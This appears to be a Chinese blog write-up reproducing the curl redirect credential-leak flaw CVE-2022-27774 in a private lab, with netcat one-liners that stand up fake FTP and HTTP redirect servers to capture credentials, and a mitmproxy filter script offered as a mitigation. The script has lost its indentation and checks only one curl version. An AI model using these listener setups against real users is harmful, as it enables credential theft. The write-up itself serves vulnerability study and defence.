Curl 重定向时的凭据泄漏(CVE-2022-27774)
漏洞简介
curl 4.9 ~7.82.0 中存在凭据保护不足的漏洞,可能允许攻击者在HTTP(S) 重定向与身份验证一起使用时,可能会将凭据泄漏到存在于不同协议或端口上的其他服务。漏洞的主要发生点就是CURL使用的参数 -L 。 ( --L/--location 当服务器报告被请求的页面已被移动到另一个位置时(通常返回 3XX 错误代码), 允许 curl 使用新的地址重新访问。如果跳转链接指向了一个不同的主机,curl 将不向其发送用户名和密码。 )
例如:server1 使用http重定向功能,将服务重定向到server2上面。用户带着身份验证凭据去访问server1,server1收到请求后重定向时,用户请求中凭据信息也会被发送到server2,造成凭据泄露。
复现环境
centos7
IP:192.168.111.145、Curl:7.29.0
kali
IP:192.168.111.147、Curl:7.79.1
复现过程
由于需要考虑到不同环境下该漏洞的影响,所以重定向的目标主机分为两部分,同一主机的重定向和不同主机的重定向,同时对重定向的协议也进行测试。
同一主机
http-->ftp
- 首先在主机9999端口伪造ftp服务,并设置监听。
while true; do echo -e "220 pocftp\n331 plz\n530 bye" | nc -v -l -p 9999; done

- 接下来加入重定向,在主机9998端口伪造一个http服务器,其功能为重定向到ftp服务器 ,并设置监听。
while true; do echo -ne 'HTTP/1.1 301 Redirect\r\nLocation:ftp://192.168.111.145:9999\r\nContent-Length: 0\r\n\r\n' | nc -v -l -p 9998; done

- 使用curl命令访问9998端口则会301跳转到ftp服务器 。指定用户admin,口令是password。
curl -L --user admin http://192.168.111.145:9998

可以看到,重定向的http服务上也有凭据信息(base64编码后的);在ftp上相应的凭据信息直接明文显示 ,会造成凭据泄露。

http-->http
- 首先在主机9999端口伪造http服务,并设置监听。
while true; do echo -e "200 ok" | nc -v -l -p 9999; done

- 接下来加入重定向,在主机9998端口伪造一个http服务器,其功能为重定向到http服务器 ,并设置监听。
while true; do echo -ne 'HTTP/1.1 301 Redirect\r\nLocation:http://192.168.111.145:9999\r\nContent-Length: 0\r\n\r\n' | nc -v -l -p 9998; done

- 使用curl命令访问9998端口则会301跳转到9999端口的http服务器 。带上用户凭证信息 joes:secret。
curl -L http://192.168.111.145:9998 -u joes:secret

可以看到,重定向的http服务上也有凭据信息(base64编码后的);在http上也有相应的凭据信息 ,造成凭据信息泄露。

不同主机
该部分针对不同主机的重定向功能进行测试。
http-->ftp
- 在centos7上开启9999端口伪造ftp服务,并设置监听。
while true; do echo -e "220 pocftp\n331 plz\n530 bye" | nc -v -l -p 9999; done

- 在kali上开启9998端口伪造一个http服务器,其功能为重定向到ftp服务器 ,并设置监听。
while true; do echo -ne 'HTTP/1.1 301 Redirect\r\nLocation:ftp://192.168.111.145:9999\r\nContent-Length: 0\r\n\r\n' | nc -v -l -p 9998; done

- 使用curl命令访问9998端口则会301跳转到ftp服务器 。指定用户admin,口令是password。
curl -L --user admin http://192.168.111.147:9998

可以看到在Centos7的ftp服务上相应的凭据信息直接明文显示 ,造成凭据泄露。

http-->http(❌)
- 首先在kali主机9999端口伪造http服务,并设置监听。
while true; do echo -e "200 ok" | nc -v -l -p 9999; done

- 接下来加入重定向,在centos主机9998端口伪造一个http服务器,其功能为重定向到http服务器 ,并设置监听。
while true; do echo -ne 'HTTP/1.1 301 Redirect\r\nLocation:http://192.168.111.147:9999\r\nContent-Length: 0\r\n\r\n' | nc -v -l -p 9998; done

- 使用curl命令访问9998端口则会301跳转到9999端口的http服务器 。带上用户凭证信息 joes:secret。
curl -L http://192.168.111.145:9998 -u joes:secret

在kali上查看信息。并未发现对应的凭据信息。按照漏洞报送者所说,http会检查主机名,不过修改主机名也未成功。

问题总结
Curl 命令带有身份验证信息在使用重定向时(http和ftp),确实是会将凭证信息泄露到第三方。在同一个主机上,无论是重定向到HTTP还是FTP,都会造成凭据泄露;在不同的主机上,只有在重定向到FTP服务器时才会泄露凭据(多次验证),重定向到HTTP未发现泄露信息。
漏洞发现者认为--location应该限制在相同的协议和端口上,不应该只是判断重定向的主机是否时同一个。并且发送身份验证的凭据的限制只能通过--location-trusted(或可选地通过其他选项)解除。
- --location-trusted 该参数和 -L 参数类似,也可让 curl 继续访问跳转链接,区别在于该参数允许向跳转链接发送明文用户名和密码。
- --L/--location 当服务器报告被请求的页面已被移动到另一个位置时(通常返回 3XX 错误代码), 允许 curl 使用新的地址重新访问。如果跳转链接指向了一个不同的主机,curl 将不向其发送用户名和密码。
重定向过程

用户发送请求A服务器流量信息

用户向重定向地址连接并传输数据

缓解措施
mitmproxy
mitmproxy 就是用于 MITM 的 proxy,MITM 即中间人攻击(Man-in-the-middle attack)。用于中间人攻击的代理首先会向正常的代理一样转发请求,保障服务端与 客户端的通信,其次,会适时的查、记录其截获的数据,或篡改数据,引发服务端或 客户端特定的行为。
在 linux 中安装:
sudo pip3 install mitmproxy
遇到的问题:mitmproxy工作在应用层,当用户发送http请求时,和收到重定向的http响应能够完整记录过程,但是CURL在使用-L参数收到重定向的地址,直接TCP连接并发送数据,无法记录重定向地址的TCP过程。那么这样就会遇到一个问题,Curl在使用-L参数和不使用-L参数的过程中发送的HTTP请求和收到的HTTP响应无差别。目前要解决的就是能够记录到向重定向地址发送的TCP连接。
解决方案:
如果第一次请求包含用户凭据,且Header的curl版本在被漏洞影响的版本中,且响应包括重定向到ftp,就拦截这个响应。
kali运行mitmproxy
mitmproxy --listen-host 127.0.0.1 -p 8080

临时配置全局代理
export http_proxy=http://127.0.0.1:8080
export https_proxy=http://127.0.0.1:8080

使用curl命令测试
curl -L --user admin:ASDADA http://192.168.111.147:9998
Request:

Response:

mitmproxy使用脚本可以对http请求和响应进行拦截、修改等操作。所以这里就使用脚本进行拦截。
脚本可参考mitmproxy 官方文档:https://docs.mitmproxy.org/stable/
import mitmproxy.http
from mitmproxy import ctx, http
num = 0
def request(flow: mitmproxy.http.HTTPFlow):
global num
num = num + 1
global UA
UA = flow.request.headers['User-Agent']
global head
head = flow.request.headers
ctx.log.info("We've seen %d flows" % num)
def response(flow: mitmproxy.http.HTTPFlow):
global location
location = flow.response.headers['location']
if "Authorization" in head:
ctx.log.info("~~~~~~~~Authoriztion exist~~~~~~~~")
# 如果存在认证信息,打印日志
if UA == "curl/7.74.0":
ctx.log.info("~~~~~~~~CURL-7.74.0 exist~~~~~~~~")
# 如果存在curl信息,打印日志
if "ftp" in location:
ctx.log.info("~~~~~~~~FTP exist~~~~~~~~~~~~")
# 如果重定向存在ftp服务器,打印日志
flow.response = http.HTTPResponse.make(404)
# 设置响应状态码为404,(拦截响应)
else:
return
else:
return
else:
return
启动mitmproxy脚本
mitmproxy --listen-host 127.0.0.1 -p 8080 -s filter.py
再次访问测试,已经成功的拦截。

测试不加身份认证信息,可以看到并未进行拦截,脚本效果达到所需。

最终效果:


参考:

浙公网安备 33010602011771号